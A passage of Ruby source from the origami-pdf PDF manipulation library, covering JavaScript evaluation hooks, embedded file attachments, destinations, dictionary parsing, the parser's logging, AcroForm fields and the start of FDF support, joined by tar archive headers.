class Stream # # Evaluates the current Stream as JavaScript. # def eval_js self.pdf.eval_js(self.data) end end class PDF # # Executes a JavaScript script in the current document context. # def eval_js(code) js_engine.exec(code) end # # Returns the JavaScript engine (if JavaScript support is present). # def js_engine @js_engine ||= PDF::JavaScript::Engine.new(self) end end rescue LoadError end end origami-pdf-1.2.7/lib/origami/webcapture.rb0000644000175000017500000000456112101464040021012 0ustar terceiroterceiro=begin = File webcapture.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Webcapture class SpiderInfo < Dictionary include StandardObject field :V, :Type => Real, :Default => 1.0, :Version => "1.3", :Required => true field :C, :Type => Array end class Command < Dictionary module Flags SAMESITE = 1 << 1 SAMEPATH = 1 << 2 SUBMIT = 1 << 3 end include StandardObject field :URL, :Type => String, :Required => true field :L, :Type => Integer, :Default => 1 field :F, :Type => Integer, :Default => 0 field :P, :Type => [ String, Stream ] field :CT, :Type => String, :Default => "application/x-www-form-urlencoded" field :H, :Type => String field :S, :Type => Dictionary end class CommandSettings < Dictionary include StandardObject field :G, :Type => Dictionary field :C, :Type => Dictionary end class SourceInformation < Dictionary include StandardObject module SubmissionType NOFORM = 0 GETFORM = 1 POSTFORM = 2 end field :AU, :Type => [ String, Dictionary ], :Required => true field :TS, :Type => String field :E, :Type => String field :S, :Type => Integer, :Default => 0 field :C, :Type => Dictionary end end end origami-pdf-1.2.7/lib/origami/file.rb0000644000175000017500000001437612122127175017605 0ustar terceiroterceiro=begin = File file.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Attachs an embedded file to the PDF. # _path_:: The path to the file to attach. # _options_:: A set of options to configure the attachment. # def attach_file(path, options = {}) # # Default options. # params = { :Register => true, # Shall the file be registered in the name directory ? :EmbeddedName => nil, # The inner filename of the attachment. :Filter => :FlateDecode, # The stream filter used to store data. }.update(options) if path.is_a? FileSpec filespec = path params[:EmbeddedName] ||= '' else if path.respond_to?(:read) fd = path params[:EmbeddedName] ||= '' else fd = File.open(File.expand_path(path), 'r').binmode params[:EmbeddedName] ||= File.basename(path) end fstream = EmbeddedFileStream.new if ''.respond_to? :force_encoding fstream.data = fd.read.force_encoding('binary') # 1.9 else fstream.data = fd.read end fd.close fstream.setFilter(params[:Filter]) filespec = FileSpec.new(:F => fstream) end name = params[:EmbeddedName] fspec = FileSpec.new.setType(:Filespec).setF(name.dup).setEF( filespec ) register( Names::Root::EMBEDDEDFILES, name.dup, fspec ) if params[:Register] == true fspec end # # Lookup embedded file in the embedded files name directory. # def get_embedded_file_by_name(name) resolve_name Names::Root::EMBEDDEDFILES, name end # # Calls block for each named embedded file. # def each_named_embedded_file(&b) each_name(Names::Root::EMBEDDEDFILES, &b) end end # # Class used to convert system-dependent pathes into PDF pathes. # PDF path specification offers a single form for representing file pathes over operating systems. # class Filename class << self # # Converts UNIX file path into PDF file path. # def Unix(file) ByteString.new(file) end # # Converts MacOS file path into PDF file path. # def Mac(file) ByteString.new("/" + file.gsub(":", "/")) end # # Converts Windows file path into PDF file path. # def DOS(file) path = "" # Absolute vs relative path if file.include? ":" path << "/" file.sub!(":","") end file.gsub!("\\", "/") ByteString.new(path + file) end end end # # Class representing a file specification. # File specifications can be used to reference external files, as well as embedded files and URIs. # class FileSpec < Dictionary include StandardObject field :Type, :Type => Name, :Default => :FileSpec field :FS, :Type => Name, :Default => :URL field :F, :Type => [ ByteString, Stream ] field :UF, :Type => String field :DOS, :Type => ByteString field :Mac, :Type => ByteString field :Unix, :Type => ByteString field :ID, :Type => Array field :V, :Type => Boolean, :Default => false, :Version => "1.2" field :EF, :Type => Dictionary, :Version => "1.3" field :RF, :Type => Dictionary, :Version => "1.3" field :Desc, :Type => ByteString, :Version => "1.6" field :CI, :Type => Dictionary, :Version => "1.7" field :Thumb, :Type => Stream, :Version => "1.7", :ExtensionLevel => 3 end # # Class representing a Uniform Resource Locator (URL) # class URL < FileSpec field :Type, :Type => Name, :Default => :URL, :Required => true def initialize(url) super(:F => url) end end # # A class representing a file outside the current PDF file. # class ExternalFile < FileSpec field :Type, :Type => Name, :Default => :FileSpec #, :Required => true # # Creates a new external file specification. # _dos_:: The Windows path to this file. # _mac_:: The MacOS path to this file. # _unix_:: The UNIX path to this file. # def initialize(dos, mac = "", unix = "") if not mac.empty? or not unix.empty? super(:DOS => Filename.DOS(dos), :Mac => Filename.Mac(mac), :Unix => Filename.Unix(unix)) else super(:F => dos) end end end # # Class representing the data of an embedded file. # class EmbeddedFileStream < Stream include StandardObject field :Type, :Type => Name, :Default => :EmbeddedFile field :Subtype, :Type => Name field :Params, :Type => Dictionary end # # Class representing parameters for a EmbeddedFileStream. # class EmbeddedFileParameters < Dictionary include StandardObject field :Size, :Type => Integer field :CreationDate, :Type => ByteString field :ModDate, :Type => ByteString field :Mac, :Type => Dictionary field :Checksum, :Type => String end end origami-pdf-1.2.7/lib/origami/destinations.rb0000644000175000017500000001166012101464040021353 0ustar terceiroterceiro=begin = File destinations.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Lookup destination in the destination name directory. # def get_destination_by_name(name) resolve_name Names::Root::DESTS, name end # # Calls block for each named destination. # def each_named_dest(&b) each_name(Names::Root::DESTS, &b) end end # # A destination represents a specified location into the document. # module Destination attr_reader :top, :left, :right, :bottom, :zoom # # Class representing a Destination zooming on a part of a document. # class Zoom < Origami::Array include Destination # # Creates a new zoom Destination. # _pageref_:: A Reference to a Page. # _left_, _top_:: Coords in the Page. # _zoom_:: Zoom factor. # def initialize(pageref, left = 0, top = 0, zoom = 0) @left, @top, @zoom = left, top, zoom super([pageref, :XYZ, left, top, zoom]) end end # # Class representing a Destination showing a Page globally. # class GlobalFit < Origami::Array include Destination # # Creates a new global fit Destination. # _pageref_:: A Reference to a Page. # def initialize(pageref) super([pageref, :Fit]) end end # # Class representing a Destination fitting a Page horizontally. # class HorizontalFit < Origami::Array include Destination # # Creates a new horizontal fit destination. # _pageref_:: A Reference to a Page. # _top_:: The vertical coord in the Page. # def initialize(pageref, top = 0) @top = top super([pageref, :FitH, top]) end end # # Class representing a Destination fitting a Page vertically. # _pageref_:: A Reference to a Page. # _left_:: The horizontal coord in the Page. # class VerticalFit < Origami::Array include Destination def initialize(pageref, left = 0) @left = left super([pageref, :FitV, left]) end end # # Class representing a Destination fitting the view on a rectangle in a Page. # class RectangleFit < Origami::Array include Destination # # Creates a new rectangle fit Destination. # _pageref_:: A Reference to a Page. # _left_, _bottom_, _right_, _top_:: The rectangle to fit in. # def initialize(pageref, left = 0, bottom = 0, right = 0, top = 0) @left, @bottom, @right, @top = left, bottom, right, top super([pageref, :FitR, left, bottom, right, top]) end end # # Class representing a Destination fitting the bounding box of a Page. # class GlobalBoundingBoxFit < Origami::Array include Destination # # Creates a new bounding box fit Destination. # _pageref_:: A Reference to a Page. # def initialize(pageref) super([pageref, :FitB]) end end # # Class representing a Destination fitting horizontally the bouding box a Page. # class HorizontalBoudingBoxFit < Origami::Array include Destination # # Creates a new horizontal bounding box fit Destination. # _pageref_:: A Reference to a Page. # _top_:: The vertical coord. # def initialize(pageref, top = 0) @top = top super([pageref, :FitBH, top]) end end # # Class representing a Destination fitting vertically the bounding box of a Page. # class VerticalBoundingBoxFit < Origami::Array include Destination # # Creates a new vertical bounding box fit Destination. # _pageref_:: A Reference to a Page. # _left_:: The horizontal coord. # def initialize(pageref, left = 0) @left = left super([pageref, :FitBV, left]) end end end end origami-pdf-1.2.7/lib/origami/dictionary.rb0000644000175000017500000001743012142214376021027 0ustar terceiroterceiro=begin = File dictionary.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidDictionaryObjectError < InvalidObjectError #:nodoc: end # # Class representing a Dictionary Object. # Dictionaries are containers associating a Name to an embedded Object. # class Dictionary < Hash include Origami::Object TOKENS = %w{ << >> } #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first) + WHITESPACES) @@regexp_close = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.last) + WHITESPACES) @@cast_fingerprints = {} attr_reader :strings_cache, :names_cache, :xref_cache # # Creates a new Dictionary. # _hash_:: The hash representing the new Dictionary. # def initialize(hash = {}) raise TypeError, "Expected type Hash, received #{hash.class}." unless hash.is_a?(Hash) super() @strings_cache = [] @names_cache = [] @xref_cache = {} hash.each_pair do |k,v| @names_cache.push(k.to_o) case val = v.to_o when String then @strings_cache.push(val) when Name then @names_cache.push(val) when Reference then (@xref_cache[val] ||= []).push(self) when Dictionary,Array then @strings_cache.concat(val.strings_cache) @names_cache.concat(val.names_cache) @xref_cache.update(val.xref_cache) do |ref, cache1, cache2| cache1.concat(cache2) end val.strings_cache.clear val.names_cache.clear val.xref_cache.clear end self[k.to_o] = val unless k.nil? end end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if stream.skip(@@regexp_open).nil? raise InvalidDictionaryObjectError, "No token '#{TOKENS.first}' found" end pairs = {} while stream.skip(@@regexp_close).nil? do key = Name.parse(stream, parser) type = Object.typeof(stream) if type.nil? raise InvalidDictionaryObjectError, "Invalid object for field #{key.to_s}" end value = type.parse(stream, parser) pairs[key] = value end dict = if Origami::OPTIONS[:enable_type_guessing] guessed_type = self.guess_type(pairs) if Origami::OPTIONS[:enable_type_propagation] guessed_type.new( Hash[ pairs.map {|key, value| hint_type = guessed_type.hint_type(key.value) if hint_type.is_a?(::Array) and not value.is_a?(Reference) # Choose best match hint_type.find {|type| type.native_type == value.native_type} end if hint_type.is_a?(Class) and hint_type.native_type == value.native_type [key, value.cast_to(hint_type)] elsif hint_type and value.is_a?(Reference) and parser parser.defer_type_cast(value, hint_type) [key, value] else [key, value] end }]) else guessed_type.new(pairs) end else self.new(pairs) end dict.file_offset = offset dict end alias to_h to_hash def to_s(indent = 1) #:nodoc: if indent > 0 content = TOKENS.first + EOL self.each_pair do |key,value| content << "\t" * indent + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(indent + 1) : value.to_s) + EOL end content << "\t" * (indent - 1) + TOKENS.last else content = TOKENS.first.dup self.each_pair do |key,value| content << "#{key.to_s} #{value.is_a?(Dictionary) ? value.to_s(0) : value.to_s}" end content << TOKENS.last end super(content) end def map!(&b) self.each_pair do |k,v| self[k] = b.call(v) end end def merge(dict) Dictionary.new(super(dict)) end def []=(key,val) unless key.is_a?(Symbol) or key.is_a?(Name) fail "Expecting a Name for a Dictionary entry, found #{key.class} instead." end key = key.to_o if not val.nil? val = val.to_o super(key,val) key.parent = self val.parent = self unless val.is_indirect? or val.parent.equal?(self) val else delete(key) end end def [](key) super(key.to_o) end def has_key?(key) super(key.to_o) end def delete(key) super(key.to_o) end def cast_to(type) super(type) cast = type.new(self) cast.parent = self.parent cast.no, cast.generation = self.no, self.generation if self.is_indirect? cast.set_indirect(true) cast.set_pdf(self.pdf) cast.file_offset = self.file_offset # cast can replace self end cast.xref_cache.update(self.xref_cache) cast.names_cache.concat(self.names_cache) cast.strings_cache.concat(self.strings_cache) cast end alias each each_value alias value to_h def method_missing(field, *args) #:nodoc: raise NoMethodError, "No method `#{field}' for #{self.class}" unless field.to_s[0,1] =~ /[A-Z]/ if field.to_s[-1,1] == '=' self[field.to_s[0..-2].to_sym] = args.first else obj = self[field]; obj.is_a?(Reference) ? obj.solve : obj end end def copy copy = self.class.new self.each_pair do |k,v| copy[k] = v.copy end copy.parent = @parent copy.no, copy.generation = @no, @generation copy.set_indirect(true) if is_indirect? copy.set_pdf(@pdf) if is_indirect? copy end def self.native_type; Dictionary end def self.add_type_info(typeclass, key, value) #:nodoc: if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Dictionary and @@cast_fingerprints.has_key?(typeclass.superclass) @@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup end @@cast_fingerprints[typeclass] ||= {} @@cast_fingerprints[typeclass][key.to_o] = value.to_o end def self.guess_type(hash) #:nodoc: best_type = self @@cast_fingerprints.each_pair do |typeclass, keys| best_type = typeclass if keys.all? { |k,v| hash.has_key?(k) and hash[k] == v } and typeclass < best_type end best_type end def self.hint_type(name); nil end #:nodoc: end #class end # Origami origami-pdf-1.2.7/lib/origami/parser.rb0000644000175000017500000002117612142214376020160 0ustar terceiroterceiro=begin = File parser.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'strscan' module Origami module Console if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ require "Win32API" getStdHandle = Win32API.new("kernel32", "GetStdHandle", 'L', 'L') @@getConsoleScreenBufferInfo = Win32API.new("kernel32", "GetConsoleScreenBufferInfo", 'LP', 'L') @@setConsoleTextAttribute = Win32API.new("kernel32", "SetConsoleTextAttribute", 'LN', 'I') @@hOut = getStdHandle.call(-11) end module Colors #:nodoc; if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ BLACK = 0 BLUE = 1 GREEN = 2 CYAN = 3 RED = 4 MAGENTA = 5 YELLOW = 6 GREY = 7 WHITE = 8 else GREY = '0;0' BLACK = '0;30' RED = '0;31' GREEN = '0;32' YELLOW = '0;33' BLUE = '0;34' MAGENTA = '0;35' CYAN = '0;36' WHITE = '0;37' BRIGHT_GREY = '1;30' BRIGHT_RED = '1;31' BRIGHT_GREEN = '1;32' BRIGHT_YELLOW = '1;33' BRIGHT_BLUE = '1;34' BRIGHT_MAGENTA = '1;35' BRIGHT_CYAN = '1;36' BRIGHT_WHITE = '1;37' end end def self.set_fg_color(color, bright = false, fd = STDOUT) #:nodoc: if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ screen_info = "\x00" * 30 current = if @@getConsoleScreenBufferInfo.call(@@hOut, screen_info) == 1 screen_info[8,2].unpack('v')[0] else Colors::GREY end color |= Colors::WHITE if bright @@setConsoleTextAttribute.call(@@hOut, color) yield @@setConsoleTextAttribute.call(@@hOut, current) else col, nocol = [color, Colors::GREY].map! { |key| "\033[#{key}m" } fd << col yield fd << nocol end end unless RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ def self.colorize(text, color, bright = false) col, nocol = [color, Colors::GREY].map! { |key| "\033[#{key}m" } "#{col}#{text}#{nocol}" end end def self.colorprint(text, color, bright = false, fd = STDOUT) #:nodoc: set_fg_color(color, bright, fd) { fd << text } end end class Parser #:nodoc: class ParsingError < Exception #:nodoc: end # # Do not output debug information. # VERBOSE_QUIET = 0 # # Output some useful information. # VERBOSE_INFO = 1 # # Output debug information. # VERBOSE_DEBUG = 2 # # Output every objects read # VERBOSE_INSANE = 3 attr_accessor :options def initialize(options = {}) #:nodoc: # Type information for indirect objects. @deferred_casts = {} #Default options values @options = { :verbosity => VERBOSE_INFO, # Verbose level. :ignore_errors => true, # Try to keep on parsing when errors occur. :callback => Proc.new {}, # Callback procedure whenever a structure is read. :logger => STDERR, # Where to output parser messages. :colorize_log => true # Colorize parser output? } @options.update(options) end def parse(stream) data = if stream.respond_to? :read if ''.respond_to? :force_encoding StringScanner.new(stream.read.force_encoding('binary')) # 1.9 compat else StringScanner.new(stream.read) end elsif stream.is_a? ::String @filename = stream if ''.respond_to? :force_encoding StringScanner.new(File.open(stream, "r", :encoding => 'binary').binmode.read) else StringScanner.new(File.open(stream, "r").binmode.read) end elsif stream.is_a? StringScanner stream else raise TypeError end @logger = @options[:logger] @data = data @data.pos = 0 end def parse_object(pos = @data.pos) #:nodoc: @data.pos = pos begin obj = Object.parse(@data, self) return if obj.nil? trace "Read #{obj.type} object#{ if obj.class != obj.native_type " (" + obj.native_type.to_s.split('::').last + ")" end }, #{obj.reference}" @options[:callback].call(obj) obj rescue UnterminatedObjectError => e error e.message obj = e.obj Object.skip_until_next_obj(@data) @options[:callback].call(obj) obj rescue Exception => e error "Breaking on: #{(@data.peek(10) + "...").inspect} at offset 0x#{@data.pos.to_s(16)}" error "Last exception: [#{e.class}] #{e.message}" if not @options[:ignore_errors] error "Manually fix the file or set :ignore_errors parameter." raise end debug 'Skipping this indirect object.' raise if not Object.skip_until_next_obj(@data) retry end end def parse_xreftable(pos = @data.pos) #:nodoc: @data.pos = pos begin info "...Parsing xref table..." xreftable = XRef::Section.parse(@data) @options[:callback].call(xreftable) xreftable rescue Exception => e debug "Exception caught while parsing xref table : " + e.message warn "Unable to parse xref table! Xrefs might be stored into an XRef stream." @data.pos -= 'trailer'.length unless @data.skip_until(/trailer/).nil? nil end end def parse_trailer(pos = @data.pos) #:nodoc: @data.pos = pos begin info "...Parsing trailer..." trailer = Trailer.parse(@data, self) @options[:callback].call(trailer) trailer rescue Exception => e debug "Exception caught while parsing trailer : " + e.message warn "Unable to parse trailer!" abort("Manually fix the file or set :ignore_errors parameter.") if not @options[:ignore_errors] raise end end def defer_type_cast(reference, type) #:nodoc: @deferred_casts[reference] = type end def target_filename @filename end def target_filesize @data.string.size if @data end def target_data @data.string.dup if @data end private def error(str = "") #:nodoc: if @options[:colorize_log] Console.colorprint("[error] #{str}\n", Console::Colors::RED, false, @logger) else @logger.puts "[error] #{str}" end end def warn(str = "") #:nodoc: if @options[:verbosity] >= VERBOSE_INFO if @options[:colorize_log] Console.colorprint("[info ] Warning: #{str}\n", Console::Colors::YELLOW, false, @logger) else @logger.puts "[info ] #{str}" end end end def info(str = "") #:nodoc: if @options[:verbosity] >= VERBOSE_INFO if @options[:colorize_log] Console.colorprint("[info ] ", Console::Colors::GREEN, false, @logger) @logger.puts str else @logger.puts "[info ] #{str}" end end end def debug(str = "") #:nodoc: if @options[:verbosity] >= VERBOSE_DEBUG if @options[:colorize_log] Console.colorprint("[debug] ", Console::Colors::MAGENTA, false, @logger) @logger.puts str else @logger.puts "[debug] #{str}" end end end def trace(str = "") #:nodoc: if @options[:verbosity] >= VERBOSE_INSANE if @options[:colorize_log] Console.colorprint("[trace] ", Console::Colors::CYAN, false, @logger) @logger.puts str else @logger.puts "[trace] #{str}" end end end end end origami-pdf-1.2.7/lib/origami/acroform.rb0000644000175000017500000002063112122127175020465 0ustar terceiroterceiro=begin = File acroform.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Returns true if the document contains an acrobat form. # def has_form? (not self.Catalog.nil?) and self.Catalog.has_key? :AcroForm end # # Creates a new AcroForm with specified fields. # def create_acroform(*fields) acroform = self.Catalog.AcroForm ||= InteractiveForm.new.set_indirect(true) self.add_fields(*fields) acroform end # # Add a field to the Acrobat form. # _field_:: The Field to add. # def add_fields(*fields) raise TypeError, "Expected Field arguments" unless fields.all? { |f| f.is_a?(Field) } self.Catalog.AcroForm ||= InteractiveForm.new.set_indirect(true) self.Catalog.AcroForm.Fields ||= [] self.Catalog.AcroForm.Fields.concat(fields) fields.each do |field| field.set_indirect(true) end self end # # Returns an array of Acroform fields. # def fields if self.has_form? if self.Catalog.AcroForm.has_key?(:Fields) self.Catalog.AcroForm[:Fields].map {|field| field.solve} end end end # # Iterates over each Acroform Field. # def each_field(&b) if self.has_form? if self.Catalog.AcroForm.has_key?(:Fields) self.Catalog.AcroForm[:Fields].each {|field| b.call(field.solve)} end end end # # Returns the corresponding named Field. # def get_field(name) self.each_field do |field| return field if field[:T].solve == name end end end # # Class representing a interactive form Dictionary. # class InteractiveForm < Dictionary include StandardObject # # Flags relative to signature fields. # module SigFlags SIGNATURESEXIST = 1 << 0 APPENDONLY = 1 << 1 end field :Fields, :Type => Array, :Required => true, :Default => [] field :NeedAppearances, :Type => Boolean, :Default => false field :SigFlags, :Type => Integer, :Default => 0 field :CO, :Type => Array, :Version => "1.3" field :DR, :Type => Dictionary field :DA, :Type => String field :Q, :Type => Integer field :XFA, :Type => [ Stream, Array ] end module Field # # Types of fields. # module Type BUTTON = :Btn TEXT = :Tx CHOICE = :Ch SIGNATURE = :Sig end # # Flags relative to fields. # module Flags READONLY = 1 << 0 REQUIRED = 1 << 1 NOEXPORT = 1 << 2 end module TextAlign LEFT = 0 CENTER = 1 RIGHT = 2 end def self.included(receiver) #:nodoc: receiver.field :FT, :Type => Name, :Required => true receiver.field :Parent, :Type => Dictionary receiver.field :Kids, :Type => Array receiver.field :T, :Type => String receiver.field :TU, :Type => String, :Version => "1.3" receiver.field :TM, :Type => String, :Version => "1.3" receiver.field :Ff, :Type => Integer, :Default => 0 receiver.field :V, :Type => Object receiver.field :DV, :Type => Object receiver.field :AA, :Type => Dictionary, :Version => "1.2" # Variable text fields receiver.field :DA, :Type => String, :Default => "/F1 10 Tf 0 g", :Required => true receiver.field :Q, :Type => Integer, :Default => TextAlign::LEFT receiver.field :DS, :Type => ByteString, :Version => "1.5" receiver.field :RV, :Type => [ String, Stream ], :Version => "1.5" end def pre_build #:nodoc: if not self.T self.T = "undef#{::Array.new(5) {(0x30 + rand(10)).chr}.join}" end super end def onKeyStroke(action) unless action.is_a?(Action) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.K = action end def onFormat(action) unless action.is_a?(Action) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.F = action end def onValidate(action) unless action.is_a?(Action) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.V = action end def onCalculate(action) unless action.is_a?(Action) raise TypeError, "An Action object must be passed." end self.AA ||= AdditionalActions.new self.AA.C = action end class Subform < Dictionary include StandardObject include Field def add_fields(*fields) self.Kids ||= [] self.Kids.concat(fields) fields.each do |field| field.Parent = self end self end end class AdditionalActions < Dictionary include StandardObject field :K, :Type => Dictionary, :Version => "1.3" field :F, :Type => Dictionary, :Version => "1.3" field :V, :Type => Dictionary, :Version => "1.3" field :C, :Type => Dictionary, :Version => "1.3" end class SignatureLock < Dictionary include StandardObject module Actions ALL = :All INCLUDE = :Include EXCLUDE = :Exclude end field :Type, :Type => Name, :Default => :SigFieldLock field :Action, :Type => Name, :Required => true field :Fields, :Type => Array def pre_build if self.Action and self.Action != Actions::ALL self.Fields ||= [] end super end end class SignatureSeedValue < Dictionary include StandardObject module Digest SHA1 = :SHA1 SHA256 = :SHA256 SHA384 = :SHA384 SHA512 = :SHA512 RIPEMD160 = :RIPEMD160 end field :Type, :Type => Name, :Default => :SV field :Filter, :Type => Name field :SubFilter, :Type => Array field :DigestMethod, :Type => Array, :Default => Digest::SHA1, :Version => "1.7" field :V, :Type => Real, :Default => 1.0 field :Cert, :Type => Dictionary field :Reasons, :Type => Array field :MDP, :Type => Dictionary, :Version => "1.6" field :TimeStamp, :Type => Dictionary, :Version => "1.6" field :LegalAttestation, :Type => Array, :Version => "1.6" field :AddRevInfo, :Type => Boolean, :Default => false, :Version => "1.7" field :Ff, :Type => Integer, :Default => 0 end class CertificateSeedValue < Dictionary include StandardObject module URL BROWSER = :Browser ASSP = :ASSP end field :Type, :Type => Name, :Default => :SVCert field :Subject, :Type => Array field :SubjectDN, :Type => Array, :Version => "1.7" field :KeyUsage, :Type => Array, :Version => "1.7" field :Issuer, :Type => Array field :OID, :Type => Array field :URL, :Type => ByteString field :URLType, :Type => Name, :Default => URL::BROWSER, :Version => "1.7" field :Ff, :Type => Integer, :Default => 0 end end end origami-pdf-1.2.7/lib/origami/boolean.rb0000644000175000017500000000436112142214376020300 0ustar terceiroterceiro=begin = File boolean.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidBooleanObjectError < InvalidObjectError #:nodoc: end # # Class representing a Boolean Object. # A Boolean Object can be *true* or *false*. # class Boolean include Origami::Object TOKENS = [ %w{ true false } ] #:nodoc: @@regexp = Regexp.new(WHITESPACES + "(#{TOKENS.first.join('|')})") # # Creates a new Boolean value. # _value_:: *true* or *false*. # def initialize(value) unless value.is_a?(TrueClass) or value.is_a?(FalseClass) raise TypeError, "Expected type TrueClass or FalseClass, received #{value.class}." end super() @value = (value == nil || value == false) ? false : true end def to_s #:nodoc: super(@value.to_s) end def self.parse(stream, parser = nil) #:nodoc: offset = stream.pos if stream.scan(@@regexp).nil? raise InvalidBooleanObjectError end value = stream[2] == "true" ? true : false bool = Boolean.new(value) bool.file_offset = offset bool end # # Converts self into a Ruby boolean, that is TrueClass or FalseClass instance. # def value @value end def self.native_type ; Boolean end def false? @value == false end def true? @value == true end def ==(bool) @value == bool end end end origami-pdf-1.2.7/lib/origami/extensions/0000755000175000017500000000000012427006355020531 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/extensions/fdf.rb0000644000175000017500000001370412101464040021606 0ustar terceiroterceiro=begin = File formats/fdf.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/object' require 'origami/name' require 'origami/dictionary' require 'origami/reference' require 'origami/boolean' require 'origami/numeric' require 'origami/string' require 'origami/array' require 'origami/trailer' require 'origami/xreftable' require 'origami/parsers/fdf' module Origami # # Class representing an AcroForm Forms Data Format file. # class FDF class Header MAGIC = /\A%FDF-(\d)\.(\d)/ attr_accessor :majorversion, :minorversion # # Creates a file header, with the given major and minor versions. # _majorversion_:: Major version. # _minorversion_:: Minor version. # def initialize(majorversion = 2, minorversion = 1) @majorversion, @minorversion = majorversion, minorversion end def self.parse(stream) #:nodoc: if not stream.scan(MAGIC).nil? maj = stream[1].to_i min = stream[2].to_i else raise InvalidHeader, "Invalid header format" end FDF::Header.new(maj,min) end def to_s "%FDF-#{@majorversion}.#{@minorversion}" + EOL end def to_sym #:nodoc: "#{@majorversion}.#{@minorversion}".to_sym end def to_f #:nodoc: to_sym.to_s.to_f end end class Revision #:nodoc; attr_accessor :pdf attr_accessor :body, :xreftable, :trailer def initialize(adbk) @pdf = adbk @body = {} @xreftable = nil @trailer = nil end def trailer=(trl) trl.pdf = @pdf @trailer = trl end end attr_accessor :header, :revisions def initialize #:nodoc: @header = FDF::Header.new @revisions = [ Revision.new(self) ] @revisions.first.trailer = Trailer.new end def objects def append_subobj(root, objset) if objset.find{ |o| o.object_id == root.object_id }.nil? objset << root if root.is_a?(Array) or root.is_a?(Dictionary) root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) } end end end objset = [] @revisions.first.body.values.each do |object| unless object.is_a?(Reference) append_subobj(object, objset) end end objset end def <<(object) object.set_indirect(true) if object.no.zero? maxno = 1 while get_object(maxno) do maxno = maxno.succ end object.generation = 0 object.no = maxno end 